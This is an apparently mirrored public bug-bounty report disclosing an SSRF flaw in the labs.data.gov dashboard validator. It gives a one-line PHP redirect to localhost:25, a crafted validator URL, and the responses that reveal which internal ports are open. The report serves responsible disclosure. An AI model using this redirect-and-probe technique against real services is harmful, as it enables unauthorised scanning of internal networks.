HexBrain

GSA Bounty · Report #272095

SSRF/XSPA in labs.data.gov/dashboard/validate

Validstatus
mediumseverity
$300bounty
41upvotes
5 May 2020disclosed

How it was found

Hi.

This vulnerability allows access to all ports locally. Which is not visible from the web.

1)We need an interim site file index.php 2)Next we write in index.php

<? header("Location: http://localhost:25"); ?>

3)Next go to https://labs.data.gov/dashboard/validate

And write url - for example http://example/index.php

If the port will be open (locally) that we will see the inscription

Source http://example/index.php Schema federal-v1.1 Valid JSON false Errors The validator was unable to determine if this was valid JSON F224225

if not open

Source http://example/index.php Schema non-federal Errors File not found or couldn't be downloaded F224224

final url for example https://labs.data.gov/dashboard/validate?schema=federal-v1.1&output=browser&datajson_url=http%3A%2F%2Fexample%2Findex.php&qa=true&as_sfid=your_sfid&as_fid=your_fid

thank you ,haxta4ok00

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original